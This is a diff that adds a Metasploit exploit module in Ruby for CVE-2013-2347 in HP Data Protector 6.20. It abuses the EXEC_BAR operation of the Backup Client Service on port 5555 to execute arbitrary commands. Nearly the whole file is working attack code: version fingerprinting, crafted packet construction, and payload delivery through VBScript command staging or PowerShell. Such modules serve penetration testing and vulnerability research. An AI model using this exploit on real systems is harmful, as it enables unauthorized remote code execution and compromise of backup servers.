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| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | + |
| 7 | +require 'msf/core' |
| 8 | + |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::Tcp |
| 14 | + include Msf::Exploit::Powershell |
| 15 | + include Msf::Exploit::CmdStagerVBS |
| 16 | + |
| 17 | + def initialize(info = {}) |
| 18 | + super(update_info(info, |
| 19 | + 'Name' => 'HP Data Protector Backup Client Service Remote Code Execution', |
| 20 | + 'Description' => %q{ |
| 21 | + This module abuses the Backup Client Service (OmniInet.exe) to achieve remote code |
| 22 | + execution. The vulnerability exists in the EXEC_BAR operation, which allows to |
| 23 | + execute arbitrary processes. This module has been tested successfully on HP Data |
| 24 | + Protector 6.20 on Windows 2003 SP2 and Windows 2008 R2. |
| 25 | + }, |
| 26 | + 'Author' => |
| 27 | + [ |
| 28 | + 'Aniway.Anyway <Aniway.Anyway[at]gmail.com>', # Vulnerability discovery |
| 29 | + 'juan vazquez' # Metasploit module |
| 30 | + ], |
| 31 | + 'References' => |
| 32 | + [ |
| 33 | + [ 'CVE', '2013-2347' ], |
| 34 | + [ 'BID', '64647' ], |
| 35 | + [ 'ZDI', '14-008' ], |
| 36 | + [ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03822422' ], |
| 37 | + [ 'URL', 'http://ddilabs.blogspot.com/2014/02/fun-with-hp-data-protector-execbar.html' ] |
| 38 | + ], |
| 39 | + 'Privileged' => true, |
| 40 | + 'Payload' => |
| 41 | + { |
| 42 | + 'DisableNops' => true |
| 43 | + }, |
| 44 | + 'DefaultOptions' => |
| 45 | + { |
| 46 | + 'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot") |
| 47 | + }, |
| 48 | + 'Platform' => 'win', |
| 49 | + 'Targets' => |
| 50 | + [ |
| 51 | + [ 'HP Data Protector 6.20 build 370 / VBScript CMDStager', { } ], |
| 52 | + [ 'HP Data Protector 6.20 build 370 / Powershell', { } ] |
| 53 | + ], |
| 54 | + 'DefaultTarget' => 0, |
| 55 | + 'DisclosureDate' => 'Jan 02 2014')) |
| 56 | + |
| 57 | + register_options( |
| 58 | + [ |
| 59 | + Opt::RPORT(5555), |
| 60 | + OptString.new('CMDPATH', [true, 'The cmd.exe path', 'c:\\windows\\system32\\cmd.exe']) |
| 61 | + ], |
| 62 | + self.class) |
| 63 | + end |
| 64 | + |
| 65 | + def check |
| 66 | + fingerprint = get_fingerprint |
| 67 | + |
| 68 | + if fingerprint.nil? |
| 69 | + return Exploit::CheckCode::Unknown |
| 70 | + end |
| 71 | + |
| 72 | + print_status("#{peer} - HP Data Protector version #{fingerprint}") |
| 73 | + |
| 74 | + if fingerprint =~ /HP Data Protector A\.06\.(\d+)/ |
| 75 | + minor = $1.to_i |
| 76 | + else |
| 77 | + return Exploit::CheckCode::Safe |
| 78 | + end |
| 79 | + |
| 80 | + if minor < 21 |
| 81 | + return Exploit::CheckCode::Appears |
| 82 | + elsif minor == 21 |
| 83 | + return Exploit::CheckCode::Detected |
| 84 | + else |
| 85 | + return Exploit::CheckCode::Detected |
| 86 | + end |
| 87 | + |
| 88 | + end |
| 89 | + |
| 90 | + def exploit |
| 91 | + if target.name =~ /VBScript CMDStager/ |
| 92 | + # 7500 just in case, to be sure the command fits after |
| 93 | + # environment variables expansion |
| 94 | + execute_cmdstager({:linemax => 7500}) |
| 95 | + elsif target.name =~ /Powershell/ |
| 96 | + # Environment variables are not being expanded before, neither in CreateProcess |
| 97 | + command = cmd_psh_payload(payload.encoded).gsub(/%COMSPEC% /, "") |
| 98 | + if command.length > 8000 |
| 99 | + # Windows 2008 Command Prompt Max Length is 8191 |
| 100 | + fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command") |
| 101 | + end |
| 102 | + print_status("#{peer} - Exploiting through Powershell...") |
| 103 | + exec_bar(datastore['CMDPATH'], command, "\x00") |
| 104 | + end |
| 105 | + end |
| 106 | + |
| 107 | + def peer |
| 108 | + "#{rhost}:#{rport}" |
| 109 | + end |
| 110 | + |
| 111 | + def build_pkt(fields) |
| 112 | + data = "\xff\xfe" # BOM Unicode |
| 113 | + fields.each do |v| |
| 114 | + data << "#{Rex::Text.to_unicode(v)}\x00\x00" |
| 115 | + data << Rex::Text.to_unicode(" ") # Separator |
| 116 | + end |
| 117 | + |
| 118 | + data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator |
| 119 | + return [data.length].pack("N") + data |
| 120 | + end |
| 121 | + |
| 122 | + def get_fingerprint |
| 123 | + ommni = connect |
| 124 | + ommni.put(rand_text_alpha_upper(64)) |
| 125 | + resp = ommni.get_once(-1) |
| 126 | + disconnect |
| 127 | + |
| 128 | + if resp.nil? |
| 129 | + return nil |
| 130 | + end |
| 131 | + |
| 132 | + Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last null |
| 133 | + end |
| 134 | + |
| 135 | + def exec_bar(cmd, *args) |
| 136 | + connect |
| 137 | + pkt = build_pkt([ |
| 138 | + "2", # Message Type |
| 139 | + rand_text_alpha(8), |
| 140 | + rand_text_alpha(8), |
| 141 | + rand_text_alpha(8), |
| 142 | + rand_text_alpha(8), |
| 143 | + rand_text_alpha(8), |
| 144 | + "11", # Opcode EXEC_BAR |
| 145 | + rand_text_alpha(8), |
| 146 | + rand_text_alpha(8), |
| 147 | + rand_text_alpha(8), |
| 148 | + rand_text_alpha(8), |
| 149 | + rand_text_alpha(8), |
| 150 | + rand_text_alpha(8), |
| 151 | + rand_text_alpha(8), |
| 152 | + rand_text_alpha(8), |
| 153 | + rand_text_alpha(8), |
| 154 | + rand_text_alpha(8), |
| 155 | + rand_text_alpha(8), |
| 156 | + "#{cmd}", # Executable |
| 157 | + rand_text_alpha(8) |
| 158 | + ].concat(args)) |
| 159 | + sock.put(pkt) |
| 160 | + # In my testings the default timeout (10) isn't enough |
| 161 | + begin |
| 162 | + res = sock.get_once(-1, 20) |
| 163 | + rescue EOFError # happens when using the Powershell method |
| 164 | + disconnect |
| 165 | + return |
| 166 | + end |
| 167 | + fail_with(Failure::Unknown, "#{peer} - Expected answer not received... aborting...") unless exec_bar?(res) |
| 168 | + disconnect |
| 169 | + end |
| 170 | + |
| 171 | + def exec_bar?(data) |
| 172 | + return false if data.blank? |
| 173 | + data_unpacked = data.unpack("NnVv") |
| 174 | + data_unpacked.length == 4 && data_unpacked[0] == 8 && data_unpacked[1] == 0xfffe && data_unpacked[2] == 0x36 && data_unpacked[3] == 0 |
| 175 | + end |
| 176 | + |
| 177 | + def execute_command(cmd, opts = {}) |
| 178 | + exec_bar(datastore['CMDPATH'], "/c #{cmd}", "\x00") |
| 179 | + end |
| 180 | + |
| 181 | + def get_vbs_string(str) |
| 182 | + vbs_str = "" |
| 183 | + str.each_byte { |b| |
| 184 | + vbs_str << "Chr(#{b})+" |
| 185 | + } |
| 186 | + |
| 187 | + return vbs_str.chomp("+") |
| 188 | + end |
| 189 | + |
| 190 | + # Make the modifications required to the specific encoder |
| 191 | + # This exploit uses an specific encoder because quotes (") |
| 192 | + # aren't allowed when injecting commands |
| 193 | + def execute_cmdstager_begin(opts) |
| 194 | + var_decoded = @stager_instance.instance_variable_get(:@var_decoded) |
| 195 | + var_encoded = @stager_instance.instance_variable_get(:@var_encoded) |
| 196 | + decoded_file = "#{var_decoded}.exe" |
| 197 | + encoded_file = "#{var_encoded}.b64" |
| 198 | + @cmd_list.each do |command| |
| 199 | + # Because the exploit kills cscript processes to speed up and reliability |
| 200 | + command.gsub!(/cscript \/\/nologo/, "wscript //nologo") |
| 201 | + command.gsub!(/CHRENCFILE/, get_vbs_string(encoded_file)) |
| 202 | + command.gsub!(/CHRDECFILE/, get_vbs_string(decoded_file)) |
| 203 | + end |
| 204 | + end |
| 205 | + |
| 206 | +end |
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